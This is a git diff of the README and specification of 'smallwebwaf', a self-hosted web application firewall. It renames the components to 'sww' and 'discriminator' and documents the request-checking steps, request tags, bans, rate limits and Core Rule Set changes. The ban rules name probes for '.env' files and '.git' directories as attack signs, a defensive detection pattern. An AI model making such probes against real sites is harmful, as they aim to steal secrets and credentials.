log what enforce mode would have done. - SWWAF_MODE: observe + SWW_MODE: observe # Look addresses up in a local IPinfo Lite database, never GeoJS. - SWWAF_LOOKUP_SOURCE: file - SWWAF_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb + SWW_LOOKUP_SOURCE: file + SWW_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb # Alerts to an ntfy topic, with its token read from a file. - SWWAF_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf - SWWAF_ALERT_NTFY_TOKEN_FILE: /etc/smallwebwaf/tokens/ntfy - SWWAF_ALERT_EVENTS: ban,permanent_ban,waf_block,source_failure,file_error + SWW_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf + SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy + SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error volumes: - - servewaf-state:/var/lib/smallwebwaf + - discriminator-state:/var/lib/sww - /srv/ipinfo:/var/lib/ipinfo:ro - - /srv/smallwebwaf/tokens:/etc/smallwebwaf/tokens:ro + - /srv/sww/tokens:/etc/sww/tokens:ro volumes: - servewaf-state: + discriminator-state: ``` The database is mounted by its directory, not by file, so that a replaced -database is seen. A token file belongs to uid 65532, the `smallwebwaf` user, -with mode `0400`. This one holds an access token the ntfy server issued, which +database is seen. A token file belongs to uid 65532, the `sww` user, with mode +`0400`. This one holds an access token the ntfy server issued, which `ntfy token add ` prints there: ```sh -mkdir -p /srv/smallwebwaf/tokens +mkdir -p /srv/sww/tokens # is the access token that ntfy printed. -echo '' > /srv/smallwebwaf/tokens/ntfy -chown 65532:65532 /srv/smallwebwaf/tokens/ntfy -chmod 0400 /srv/smallwebwaf/tokens/ntfy +echo '' > /srv/sww/tokens/ntfy +chown 65532:65532 /srv/sww/tokens/ntfy +chmod 0400 /srv/sww/tokens/ntfy ``` ## Design @@ -574,54 +498,58 @@ How it works inside. [`SPEC.md`](SPEC.md) gives every rule in full, and why. ### What happens to a request -A request goes through these steps, in this order. Once `servewaf` refuses a -request, the steps after that are skipped, apart from the report, and nothing of -the request reaches the app. +A request goes through these steps, in this order. Once `discriminator` refuses +a request, the steps after that are skipped, apart from the report, and nothing +of the request reaches the app. `rproxy` takes the first two: -1. The health check, `GET /_smallwebwaf/healthz`, is answered at once. +1. The health check, `GET /_sww/healthz`, is answered at once. 2. The visitor's address is worked out from `X-Forwarded-For`, believed only - from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `servewaf` the request as the - visitor sent it, with the first 64 KiB of its body. + from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `discriminator` the request as + the visitor sent it, with the first 64 KiB of its body. -`servewaf` takes the checks: +`discriminator` takes the checks: -3. The static lists, `SWWAF_ALLOW_NETS` and `SWWAF_DENY_NETS`. -4. The bans. -5. The lookup of the client's AS number and country. -6. The country lists. -7. The reputation sources. -8. The client's limit percentage, from its AS number, its country or a - reputation hit. -9. The rate limits. -10. The trap paths. -11. The rule files. -12. The header limits, and then the Core Rule Set. -13. A path under `/_smallwebwaf/` is answered `404`, so that the app never sees - that prefix. +3. The tag lists. +4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`. +5. The bans. +6. The lookup of the client's AS number and country. +7. The country list. +8. The reputation sources. +9. The tag refusals of `SWW_TAG_DENY`. +10. The client's limit percentage, from its tags, its AS number, its country or + a reputation hit. +11. The rate limits. +12. The trap paths. +13. The rule files. +14. The header limits, and then the Core Rule Set. +15. The tag refusals again, so that `exploitsignature` can refuse too. +16. A path under `/_sww/` is answered `404`, so that the app never sees that + prefix. -`rproxy` takes the rest, with `servewaf` counting at the end: +`rproxy` takes the rest, with `discriminator` counting at the end: -14. The request is passed to the app, streaming. -15. After the answer, `rproxy` sends `servewaf` a report with the status and the - bytes each way. For an allowed request, `servewaf` counts the bytes toward - the byte limits and adds the request to the client's history. +17. The request is passed to the app, streaming. +18. After the answer, `rproxy` sends `discriminator` a report with the status + and the body bytes each way. For an allowed request, `discriminator` counts + the bytes `SWW_BYTES_COUNT` names toward the byte limits, bans the client if + they take it past one, and adds the request to the client's history. -A refused visitor is answered with `SWWAF_BAN_RESPONSE`. A `block` rule or a -Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has -false positives; such refusals count toward `SWWAF_ERROR_BURST_THRESHOLD` -instead. A request over the header limits of step 12 is answered `431`, and bans -nobody either. `rproxy` itself answers `405` to a method it does not pass on, -and the status for a size or time limit, such as `413` for a body too large. +A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core +Rule Set match answers `403` and bans nobody, since the Core Rule Set has false +positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A +request over the header limits of step 14 is answered `431`, and bans nobody +either. `rproxy` itself answers `405` to a method it does not pass on, and the +status for a size or time limit, such as `413` for a body too large. ### Clients and bans -- A client is one IPv4 address or one IPv6 netblock of - `SWWAF_IPV6_GROUP_PREFIX`, since one abuser usually controls a whole /64. +- A client is one IPv4 address or one IPv6 netblock of `SWW_IPV6_GROUP_PREFIX`, + since one abuser usually controls a whole /64. - Each limit is counted over a sliding window with a few integers per client. The table of clients and the table of bans each have a bound - (`SWWAF_MAX_TRACKED_CLIENTS`, `SWWAF_MAX_BANS`), so memory is bounded too. + (`SWW_MAX_TRACKED_CLIENTS`, `SWW_MAX_BANS`), so memory is bounded too. - A ban refuses every request from its netblock until it ends. Requests refused under a ban count toward no limit. A permanent ban ends only when an admin lifts it. @@ -630,28 +558,59 @@ and the status for a size or time limit, such as `413` for a body too large. bans. An admin adds, keeps or lifts a ban by editing `bans.json` or through the ban endpoints (see [`docs/admin-endpoints.md`](docs/admin-endpoints.md)). +### Request tags + +Each request gets tags from what `discriminator` knows of its client, written in +the `tags` field of its log line: + +- `asn=` and `country=`, from the lookup; +- one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit` + or `vpn=mullvad`; +- `crowdsec`, `dnsbl=` and `abuseipdb`, when that reputation source lists + the client; +- `exploitsignature`, when a rule file or the Core Rule Set matched the request; +- `asn=` and `prefix=`, from a routewatch instance, while + `SWW_ROUTEWATCH_URL` is set. + +`SWW_TAG_DENY` refuses requests by tag, and `SWW_TAG_LIMIT_PERCENT` lowers a +client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md). + ### Attack detection - The Core Rule Set reads the method, the URL with its query string, and the - headers of every request, and no body unless `SWWAF_WAF_BODY_LIMIT` is set. In + headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In front of a code forge, bodies carry what people write and publish, which the rules take for attacks. -- `smallwebwaf` changes the Core Rule Set in six ways so that it lets ordinary - requests to a code forge through, such as git over HTTP and sign-in through - Git Credential Manager. No setting undoes them; "Attack detection" in +- `smallwebwaf` changes the Core Rule Set in eleven ways so that ordinary + requests get through to a code forge, to WordPress, to Drupal and to + MediaWiki. They include git over HTTP and sign-in through Git Credential + Manager on a code forge, and saving a post from the block editor on WordPress. + On gitea's own paths, its searches, file names and branch names get through + too. On WordPress's own paths, its searches, names and file names do. On + Drupal's own paths, the page to return to, its searches and its names get + through too. On MediaWiki's own paths, its searches, page titles, names and + wikitext do. No setting undoes the changes; "Attack detection" in [`SPEC.md`](SPEC.md) lists them. +- These apps work out of the box at the default settings, and their recorded + ordinary requests pass the Core Rule Set: + - gitea; + - WordPress; + - Drupal; + - MediaWiki. +- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own + fields or paths. - Rule files are plain text, one rule to a line, edited by hand and read again - while `servewaf` runs. The image ships one file of probes no real visitor + while `discriminator` runs. The image ships one file of probes no real visitor sends (see [`docs/rules.md`](docs/rules.md)). ### State files -`servewaf` keeps everything in memory, and the five JSON files in -`SWWAF_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`, +`discriminator` keeps everything in memory, and the five JSON files in +`SWW_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`, `reputation.json` and `alerts.json`. Each is written whole, to a temporary file -renamed over the real one, so a crash leaves a complete file. `servewaf` notices -a file edited on disk and takes the edit in; an edit that does not parse is set -aside as `.bad`, and never stops the running process (see +renamed over the real one, so a crash leaves a complete file. `discriminator` +notices a file edited on disk and takes the edit in; an edit that does not parse +is set aside as `.bad`, and never stops the running process (see [`docs/state-files.md`](docs/state-files.md)). ### The image and its processes @@ -660,33 +619,34 @@ aside as `.bad`, and never stops the running process (see come from Ubuntu's archive, and nixpkgs is fixed at one release. An app's `Dockerfile` installs a package with `nix-env -iA nixpkgs.` and gets the same package each time it is built (see [`docs/image.md`](docs/image.md)). -- runit, a service supervisor, runs `smallwebwaf` as the `smallwebwaf` user (uid - and gid 65532) and starts it again when it exits. The `run` script of - `servewaf` gives the state directory to the `smallwebwaf` user at each start, - so a volume needs no change of owner. -- `rproxy` and `servewaf` use no token between them. `servewaf`'s own endpoints, - under `/_smallwebwaf/`, are for your admin tools and your metrics collector, - at its own address on the private network; nothing routes the internet there. +- runit, a service supervisor, runs `sww` as the `sww` user (uid and gid 65532) + and starts it again when it exits. The `run` script of `discriminator` gives + the state directory to the `sww` user at each start, so a volume needs no + change of owner. +- `rproxy` and `discriminator` use no token between them. `discriminator`'s own + endpoints, under `/_sww/`, are for your admin tools and your metrics + collector, at its own address on the private network; nothing routes the + internet there. - `docker stop` gives requests in progress five seconds to finish. With `rproxy` in the app's container, the app must keep answering for five seconds after `SIGTERM` for that to help them. - Only faults found at start stop a process: an invalid setting, a rule file or state file that does not parse, a lookup database that cannot be read, or an address it cannot listen on. Once running, a failing lookup service, - reputation source or alert destination never takes `servewaf` down. + reputation source or alert destination never takes `discriminator` down. ### Packages -- `cmd/smallwebwaf`: the binary, which only calls `internal/smallwebwaf`. -- `internal/smallwebwaf`: the process, as the command it is given, and the - health check. +- `cmd/sww`: the binary, which only calls `internal/sww`. +- `internal/sww`: the process, as the command it is given, and the health check. - `internal/config`: reads the settings, the one place they are read. - `internal/rproxy`: the reverse proxy in front of one app. -- `internal/servewaf`: `servewaf`'s server, which runs the checks and answers - its own endpoints. -- `internal/ratelimit`, `internal/bans`, `internal/rules`, `internal/waf`, - `internal/lookup`, `internal/reputation`, `internal/anomaly` and - `internal/alerts`: one check or source each. +- `internal/discriminator`: `discriminator`'s server, which runs the checks and + answers its own endpoints. +- `internal/ratelimit`, `internal/bans`, `internal/rules`, + `internal/coreruleset`, `internal/lookup`, `internal/reputation`, + `internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or + source each. - `internal/state`, `internal/requestlog`, `internal/remotelog` and `internal/metrics`: the state files, the log lines, the syslog sender and the metrics. @@ -743,46 +703,42 @@ on the host. `make check`. - `script/docker`: builds the image, whose build runs the tests and the linter first. `make docker`. +- `script/publish`: runs `script/docker`, whose build happens on the Docker host + named by `DOCKER_HOST` (`ssh://root@fsn1app1` unless set). It then pushes the + image to `PUBLISH_IMAGE` (`git.eeqj.de/sneak/smallwebwaf` unless set). It + refuses a working tree with uncommitted changes. `make publish`. It pushes + four tags: + - the UTC date as `YYYY-MM-DD`; + - the short commit hash; + - the branch name; + - `latest`. - `script/cibuild`: what CI runs: `script/bootstrap`, `script/check`, then the image build. - `script/precommit`: run by the git pre-commit hook; runs `script/check`. - `script/install-precommit`: installs that hook. `make hooks`. -- `script/build`: builds `bin/smallwebwaf` with the Go on your host. - `make build`. -- `script/run`: builds `bin/smallwebwaf` and runs `servewaf` and `rproxy` on the +- `script/build`: builds `bin/sww` with the Go on your host. `make build`. +- `script/run`: builds `bin/sww` and runs `discriminator` and `rproxy` on the host, with the settings in your environment. `make run`. Unless your settings say otherwise: - `rproxy` listens on port 8080, in front of an app at `http://127.0.0.1:8081`; - - `servewaf` listens on port 8090; + - `discriminator` listens on port 8090; - its state files go in `bin/state`; - its rule files are those of `share/rules.d`. - `script/example-app`: builds the image and the example app (`deploy/example-app`) on it, runs the app with `rproxy` in its container and - `servewaf` in another, and checks them. Then it removes the containers, the - network, the volumes and the images. Needs network access. `make example-app`. - It checks: + `discriminator` in another, and checks them. Then it removes the containers, + the network, the volumes and the images. Needs network access. + `make example-app`. It checks: - the health checks; - a request passed to the app; - a ban for a broken limit, and a ban for a probe made permanent; - - that only `servewaf`'s container changes the state directory's owner; - - with `servewaf` stopped, the app still answering through `rproxy`; - - with `servewaf` started again, bans applying again; + - that only `discriminator`'s container changes the state directory's owner; + - with `discriminator` stopped, the app still answering through `rproxy`; + - with `discriminator` started again, bans applying again; - orderly stops with `sv stop` and `docker stop`; - bans surviving a new container on the same volume; - a setting given as a file. -- `script/gitea-requests`: builds the image and runs gitea 1.27.3 behind - `rproxy` and `servewaf`, three containers on one network. Every setting is at - its default, but for those that join the containers and - `SWWAF_LOG_REQUEST_HEADERS`, which adds the header that labels each request. - It sends through them a sample of gitea's ordinary use and the requests the - Core Rule Set is known to refuse, and prints what `servewaf` did with each. - Needs network access, and a docker daemon that pushes to a registry on - `localhost` over plain HTTP. `make gitea-requests`. -- `script/gitea-setup`: builds the image, brings up the setup in `deploy/gitea`, - and checks it as [`docs/gitea.md`](docs/gitea.md) describes. Then it removes - the containers, the network, the volumes and the image it built. Needs network - access. `make gitea-setup`. ## TODO @@ -795,10 +751,11 @@ on the host. - [`EVALUATION.md`](EVALUATION.md): what already exists, what each tool covers and misses, and why none was adopted. - [`REPO_POLICIES.md`](REPO_POLICIES.md): the policies this repository follows. +- [`AGENTS.md`](AGENTS.md): the rules for agents working on this repository. - [`docs/settings.md`](docs/settings.md): every setting and the values it takes. - [`docs/rules.md`](docs/rules.md): the rule file format and the default file. - [`docs/admin-endpoints.md`](docs/admin-endpoints.md): the endpoints under - `/_smallwebwaf/`, with examples. + `/_sww/`, with examples. - [`docs/request-log.md`](docs/request-log.md): the request log's fields. - [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination gets. @@ -806,8 +763,6 @@ on the host. - [`docs/state-files.md`](docs/state-files.md): the state files and what each holds. - [`docs/image.md`](docs/image.md): what the image holds and how it is pinned. -- [`docs/gitea.md`](docs/gitea.md): `smallwebwaf` in front of gitea: the setup - in `deploy/gitea`, and what the defaults do there. ## License diff --git a/SPEC.md b/SPEC.md index 875ba19..af7e048 100644 --- a/SPEC.md +++ b/SPEC.md @@ -1,10 +1,10 @@ # smallwebwaf specification `smallwebwaf` is a web application firewall for self-hosted apps. It is one -binary, and two of its commands do the work: +binary, `sww`, and two of its commands do the work: -- `smallwebwaf rproxy` is a reverse proxy between traefik and one app. -- `smallwebwaf servewaf` decides what happens to each request, for many sites. +- `sww rproxy` is a reverse proxy between traefik and one app. +- `sww discriminator` decides what happens to each request, for many sites. This document says what it must do and why, each requirement once. Everything in it is built, except what the last section lists. `README.md` says how to run it. @@ -16,27 +16,28 @@ to them. - It protects self-hosted apps on the open internet from scrapers, scanners and other abusers. It does so from an app's first request. `rproxy` requires only - the address of `servewaf`. In a container of its own it also needs the app's - address. Every other setting has a default chosen for a service facing the - internet in 2026. A setting that needs an alert destination, an account key or - a token stays off until the operator supplies it. + the address of `discriminator`. In a container of its own it also needs the + app's address. Every other setting has a default chosen for a service facing + the internet in 2026. A setting that needs an alert destination, an account + key or a token stays off until the operator supplies it. - It keeps a site answering while the part that decides is down, slow or - restarting (see "Without an answer from `servewaf`"). -- It limits each client's requests and bytes per minute, hour and day. It bounds - the size and duration of every request and answer. It detects attacks. + restarting (see "Without an answer from `discriminator`"). +- It limits each client's requests and body bytes per minute, hour and day. It + bounds the size and duration of every request and answer. It detects attacks. - It bans abusers: briefly at first, for seven days on a clear sign of attack, and permanently when they keep at it. - It looks up each client's AS number and country. It can refuse whole countries and netblocks, lower its limits for listed AS numbers and countries, consult reputation sources, and send alerts. -- Everything is set by environment variables. The names of `servewaf`'s start - with `SWWAF_`, and those of `rproxy` with `SWRP_`. The only other inputs are - `servewaf`'s files: +- Everything is set by environment variables. The names of `discriminator`'s + start with `SWW_`, and those of `rproxy` with `SWRP_`. The only other inputs + are `discriminator`'s files: - the rule files; - the state files; - a lookup database; - - a `SWWAF_` setting given as a file; - - the file `SWWAF_LOG_REMOTE_TLS_CA_FILE` names. + - a `SWW_` setting given as a file; + - the file `SWW_LOG_REMOTE_TLS_CA_FILE` names; + - the file `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names. ## Non-goals @@ -50,29 +51,28 @@ to them. ## Architecture -- One statically linked Go binary. Only `servewaf` writes to disk, and only to - its state directory. It ships in one image, which runs either command (see +- One statically linked Go binary. Only `discriminator` writes to disk, and only + to its state directory. It ships in one image, which runs either command (see "Deployment"). - No database of any kind. Nothing is read from disk while serving a request. - Packages: - - `cmd/smallwebwaf`: the binary, which only calls `internal/smallwebwaf`. - - `internal/smallwebwaf`: the process, as the command it is given. - `smallwebwaf servewaf` reads the settings, the rule files, the lookup + - `cmd/sww`: the binary, which only calls `internal/sww`. + - `internal/sww`: the process, as the command it is given. + `sww discriminator` reads the settings, the rule files, the lookup database and the state files, listens, and serves until `SIGTERM` or - `SIGINT`. Then it stops, writing the state files (see "`servewaf`"). - `smallwebwaf rproxy` reads only that command's settings, and runs + `SIGINT`. Then it stops, writing the state files (see "`discriminator`"). + `sww rproxy` reads only that command's settings, and runs `internal/rproxy` until `SIGTERM` or `SIGINT` (see "`rproxy`"). - `smallwebwaf healthcheck` is the image's health check. With no command, or - one it does not know, the binary prints the commands and exits with - status 2. + `sww healthcheck` is the image's health check. With no command, or one it + does not know, the binary prints the commands and exits with status 2. - `internal/config`: reads the settings, the one place they are read. - - `internal/servewaf`: `servewaf`'s server. It runs the checks in `check`, - and holds `servewaf`'s question, answer and report. It answers - `servewaf`'s own endpoints in `answerOwnEndpoint`. It counts bytes, - refusals and anomalies, and writes the log lines. + - `internal/discriminator`: `discriminator`'s server. It runs the checks in + `check`, and holds `discriminator`'s question, answer and report. It + answers `discriminator`'s own endpoints in `answerOwnEndpoint`. It counts + bytes, refusals and anomalies, and writes the log lines. - `internal/rproxy`: the reverse proxy in front of one app that asks - `servewaf` about each request. It passes a request to the app with the - standard library's `httputil.ReverseProxy`, within the time and size + `discriminator` about each request. It passes a request to the app with + the standard library's `httputil.ReverseProxy`, within the time and size limits. - `internal/ratelimit`: the table of clients. It counts requests, bytes and refusals, and keeps each client's history. @@ -81,12 +81,14 @@ to them. of bans is full. - `internal/rules`: reads the rule files at start and again when they change, and tells which rules a request matches. - - `internal/waf`: the Core Rule Set, with the six changes listed under - "Attack detection", as Coraza directives. + - `internal/coreruleset`: the Core Rule Set, with the eleven changes listed + under "Attack detection", as Coraza directives. - `internal/lookup`: looks clients up through GeoJS or in the lookup database. - `internal/reputation`: fetches the lists, asks the DNS blocklists and AbuseIPDB in the background, and keeps their answers. + - `internal/routewatch`: asks a routewatch instance about clients in the + background, and keeps its answers. - `internal/anomaly`: the anomaly counters and their alerts. - `internal/alerts`: holds back repeats and alerts past the hourly limit, and sends the rest to the webhook, Slack and ntfy, each from a queue of @@ -98,14 +100,15 @@ to them. - `internal/metrics`: the metrics, in the Prometheus text format. - `Dockerfile`: the lint and test phases, then the image. `deploy/example-app` is an app built on the image, with `rproxy` in its - container, which `script/example-app` checks with `servewaf` in another. + container, which `script/example-app` checks with `discriminator` in + another. - Libraries, checked against the owner's Go dependency defaults: - the standard library for the reverse proxy, HTTP clients, DNS, logging (`log/slog`) and the state files (`encoding/json`, `os.Rename`); - `github.com/corazawaf/coraza/v3` and `github.com/corazawaf/coraza-coreruleset/v4` at `v4.25.0`, which carries the Core Rule Set 4.25.0. The changes `smallwebwaf` makes to it, and the - default `SWWAF_WAF_DISABLED_RULES`, are built for that version. They are + default `SWW_WAF_DISABLED_RULES`, are built for that version. They are checked again before the version changes, since rule ids, and what each rule matches, change between versions; - `github.com/hashicorp/golang-lru/v2` for the bounded tables; @@ -118,16 +121,20 @@ to them. ## What happens to a request -`rproxy` runs steps 1, 2 and 14, and sends the report of step 15. `servewaf` -runs steps 3 to 13, and does the counting of step 15. The first step that -produces a final answer ends the checks. Step 15 runs for each request -`servewaf` answers with `allow`, `deny` or `close`. `rproxy`'s size and time -limits apply to the whole exchange. Each step names the section that holds its -rules. +`rproxy` runs steps 1, 2 and 17, and sends the report of step 18. +`discriminator` runs steps 3 to 16, and does the counting of step 18. The first +step that produces a final answer ends the checks. Step 18 runs for each request +`discriminator` answers with `allow`, `deny` or `close`. `rproxy`'s size and +time limits apply to the whole exchange. Each step names the section that holds +its rules. A step that names a heuristic in parentheses runs that heuristic. The +request log's `heuristic` field gives that name. `refusal_limit` and +`byte_limits` give theirs in `after_answer_heuristic` instead. -1. `GET /_smallwebwaf/healthz` is answered at once by `rproxy`, before any - check, so a health checker never needs an exemption and is never refused. +1. `GET /_sww/healthz` is answered at once by `rproxy`, before any check, so a + health checker never needs an exemption and is never refused. 2. The client is identified. + - `SWRP_TRUSTED_PROXIES` is `10.0.0.0/8`, `172.16.0.0/12` and + `192.168.0.0/16` by default. A list given replaces them. - If the TCP peer is inside `SWRP_TRUSTED_PROXIES`, `X-Forwarded-For` is walked from the right, and the first address outside those netblocks is the client. If every address is inside them, the leftmost is, so that a @@ -135,66 +142,80 @@ rules. not an address ends the walk. With no header, the peer is the client. - If the peer is outside `SWRP_TRUSTED_PROXIES`, it is the client, and the header is ignored. - - `rproxy` then sends `servewaf` the question (see "The question"). - `servewaf` takes the address the question gives as the client. - - An IPv6 client is its group: the netblock of `SWWAF_IPV6_GROUP_PREFIX` + - `rproxy` then sends `discriminator` the question (see "The question"). + `discriminator` takes the address the question gives as the client. + - An IPv6 client is its group: the netblock of `SWW_IPV6_GROUP_PREFIX` around its address, a /64 by default, since one abuser usually controls a whole /64. A client is therefore one IPv4 address or one IPv6 group. -3. The static lists. A client in `SWWAF_ALLOW_NETS` skips steps 4 to 12, the - byte limits and the error burst. A client in `SWWAF_DENY_NETS` is refused; a - client in both lists is let through. -4. Bans. A client under a ban is refused (see "Bans"). -5. The lookup, unless `SWWAF_LOOKUP_SOURCE` is `off` (see "Lookup of AS number - and country"). The request goes on at once. It waits for the first GeoJS - answer, up to `SWWAF_LOOKUP_TIMEOUT`, only when one of these needs it: - - a country list; +3. The tag lists (`tag_lists`; see "Request tags"). Each list that holds the + client adds its tag. Next, `routewatch_tags` adds the client's `asn=` and + `prefix=` tags while `SWW_ROUTEWATCH_URL` is set. A client in + `SWW_ALLOW_NETS` gets no tag. +4. The static lists. A client in `SWW_ALLOW_NETS` skips steps 5 to 15, the byte + limits and the error burst. A client in `SWW_DENY_NETS` is refused + (`deny_nets`); a client in both lists is let through. +5. Bans. A client under a ban is refused (`active_ban`; see "Bans"). +6. The lookup, unless `SWW_LOOKUP_SOURCE` is `off` (see "Lookup of AS number and + country"). The request goes on at once. It waits for the first GeoJS answer, + up to `SWW_LOOKUP_TIMEOUT`, only when one of these needs it: + - the country list; - a biased threshold; - - `SWWAF_ADD_LOOKUP_HEADERS`. + - `SWW_TAG_DENY` or `SWW_TAG_LIMIT_PERCENT` naming an `asn=` or `country=` + tag; + - `SWW_ADD_LOOKUP_HEADERS`. A request that ends before the answer comes is logged without it. -6. The country lists (see "Country lists"). -7. The reputation sources (see "Reputation"). A client on a fetched blocklist - gets `SWWAF_BLOCKLIST_ACTION`. A client on the CrowdSec decision list is - banned. A client listed by a DNS blocklist, or scored at least - `SWWAF_ABUSEIPDB_MIN_SCORE` by AbuseIPDB, gets `SWWAF_REPUTATION_ACTION`. -8. The client's limit percentage (see "Biased thresholds"). -9. Rate limiting (see "Request rate limits, per client"). A request over a limit - times the percentage is refused and bans the client. -10. The trap paths (see "Attack detection"). A request for one is refused and - bans the client. -11. The rule files (see "Rule files"). Matching stops at the first rule that - refuses. -12. The header limits (see "Answering in time"), and then the Core Rule Set (see - "Attack detection"). A Core Rule Set match is refused with `403` while - `SWWAF_WAF_MODE` is `block`, and only logged and alerted while it is - `detect`. -13. A path under `/_smallwebwaf/` is answered `404`, so that the app never sees - that prefix. -14. `rproxy` passes the request to `SWRP_UPSTREAM_URL`, streaming (see "Passing - a request to the app"). With `SWWAF_ADD_LOOKUP_HEADERS`, `X-Client-ASN` and +7. The country list (`countries`; see "Country list"). +8. The reputation sources (see "Reputation"), in this order: + - A client on a fetched blocklist gets `SWW_BLOCKLIST_ACTION` + (`blocklists`). + - A client on the CrowdSec decision list is banned (`crowdsec`). + - A client listed by a DNS blocklist gets `SWW_REPUTATION_ACTION` (`dnsbl`). + - A client scored at least `SWW_ABUSEIPDB_MIN_SCORE` by AbuseIPDB gets + `SWW_REPUTATION_ACTION` (`abuseipdb`). +9. The tag refusals (`tag_deny`; see "Request tags"). A request carrying a tag + in `SWW_TAG_DENY` is refused. +10. The client's limit percentage (see "Biased thresholds"). +11. Rate limiting (`rate_limits`; see "Request rate limits, per client"). A + request over a limit times the percentage is refused and bans the client. +12. The trap paths (`trap_paths`; see "Attack detection"). A request for one is + refused and bans the client. +13. The rule files (`rule_files`; see "Rule files"). Matching stops at the first + rule that refuses. +14. The header limits (`header_limits`; see "Answering in time"), and then the + Core Rule Set (`core_rule_set`; see "Attack detection"). A Core Rule Set + match is refused with `403` while `SWW_WAF_MODE` is `block`, and only logged + and alerted while it is `detect`. +15. The tag refusals again (`tag_deny`), so that `exploitsignature` can refuse + too. +16. A path under `/_sww/` is answered `404`, so that the app never sees that + prefix. +17. `rproxy` passes the request to `SWRP_UPSTREAM_URL`, streaming (see "Passing + a request to the app"). With `SWW_ADD_LOOKUP_HEADERS`, `X-Client-ASN` and `X-Client-Country` are added for the app's own logs; a header whose value is unknown is left out. Whatever that setting says, any such header the client sent is removed. -15. After the visitor's answer has ended, `rproxy` sends the report (see "The - report"). `servewaf` then counts: - - For a request it allowed, the response bytes, the request bytes or both - are added to the byte counters, as `SWWAF_BYTES_COUNT` says. For a - WebSocket, what it carried each way counts once it closes. A client whose - total passes a byte limit times the percentage has broken that limit and - is banned. The response in progress is not cut off. +18. After the visitor's answer has ended, `rproxy` sends the report (see "The + report"). `discriminator` then counts: + - For a request it allowed, the body bytes of the response, of the request + or of both are added to the byte counters, as `SWW_BYTES_COUNT` says. For + a WebSocket, what it carried each way counts once it closes. A client + whose total passes a byte limit times the percentage has broken that limit + and is banned (`byte_limits`). The request that broke it has already been + passed on whole; nothing is cut off. - For a request it allowed, the client's history and the anomaly counters are updated, and the alert thresholds are evaluated. - For a request it refused, `servewaf` adds nothing to the byte limits. It - updates the history and the anomaly counters at its decision. It counts the - refusals the error burst counts at the decision too (see "Attack - detection"). + For a request it refused, `discriminator` adds nothing to the byte limits. + It updates the history and the anomaly counters at its decision. It counts + the refusals the error burst counts at the decision too (`refusal_limit`; + see "Attack detection"). -In `SWWAF_MODE=observe`, every refusal above is logged as what would have -happened, nothing is refused, and `servewaf` makes no ban of its own. A path -under `/_smallwebwaf/` is still answered `404`, and `rproxy`'s size and time -limits still apply. +In `SWW_MODE=observe`, every refusal above is logged as what would have +happened, nothing is refused, and `discriminator` makes no ban of its own. A +path under `/_sww/` is still answered `404`, and `rproxy`'s size and time limits +still apply. ## Counting method @@ -206,25 +227,25 @@ limits still apply. and loaded again at start (see "Persistent state"), so a restart does not hand every client a fresh allowance. Buckets whose time has passed are discarded on load. -- Memory is bounded. When the table of clients holds - `SWWAF_MAX_TRACKED_CLIENTS`, the least recently seen client is dropped first, - with its history. The bans are bounded by `SWWAF_MAX_BANS` (see "Bans"). The - GeoJS answers, the reputation verdicts and scores, the DNS queries under way - and the anomaly counters have fixed bounds, listed under "Fixed limits" in - `docs/settings.md`. Past its bound, the GeoJS answer or anomaly counter used - longest ago goes first, and the verdict or score fetched longest ago. Past the - bound on DNS queries under way, a zone is asked at the client's next request. +- Memory is bounded. When the table of clients holds `SWW_MAX_TRACKED_CLIENTS`, + the least recently seen client is dropped first, with its history. The bans + are bounded by `SWW_MAX_BANS` (see "Bans"). The GeoJS answers, the reputation + verdicts and scores, the DNS queries under way and the anomaly counters have + fixed bounds, listed under "Fixed limits" in `docs/settings.md`. Past its + bound, the GeoJS answer or anomaly counter used longest ago goes first, and + the verdict or score fetched longest ago. Past the bound on DNS queries under + way, a zone is asked at the client's next request. ## Bans Until a ban ends, every request from its netblock is refused with -`SWWAF_BAN_RESPONSE`. The netblock is the client: its IPv4 address, widened to -`SWWAF_BAN_SCOPE_V4_PREFIX`, or its IPv6 group. At the defaults a ban covers one +`SWW_BAN_RESPONSE`. The netblock is the client: its IPv4 address, widened to +`SWW_BAN_SCOPE_V4_PREFIX`, or its IPv6 group. At the defaults a ban covers one address or one /64, so a permanent ban does not reach neighbours who did nothing. Requests refused under a ban are not counted against limits. They are counted in the client's history and in the ban's notes. -An offence is a request `servewaf` holds against the client. It is one of: +An offence is a request `discriminator` holds against the client. It is one of: - a clear sign of attack; - a broken limit; @@ -234,9 +255,9 @@ Offences are counted by kind in the client's history. The first two kinds lead to a ban, each by its own rule: - A clear sign of attack: a request that matches a rule whose action is `ban`, - or asks for a path in `SWWAF_TRAP_PATHS`. Examples are a probe for a `.env` - file or a `.git` directory, and a known scanner's user agent. - - The first one bans the netblock for `SWWAF_ATTACK_BAN_DURATION` (default + or asks for a path in `SWW_TRAP_PATHS`. Examples are a probe for a `.env` file + or a `.git` directory, and a known scanner's user agent. + - The first one bans the netblock for `SWW_ATTACK_BAN_DURATION` (default `7d`), with the cause `attack`. - Any further request from the netblock while that ban lasts shows it is malicious: the ban becomes permanent. No other cause of ban becomes @@ -245,17 +266,18 @@ to a ban, each by its own rule: clear sign of attack bans it permanently at once. - A broken limit, one of: - a request over a rate limit; - - a response that takes the client's byte total past a byte limit; - - more than `SWWAF_ERROR_BURST_THRESHOLD` refusals within a minute. + - the bytes counted for a request and its response taking the client's total + past a byte limit; + - more than 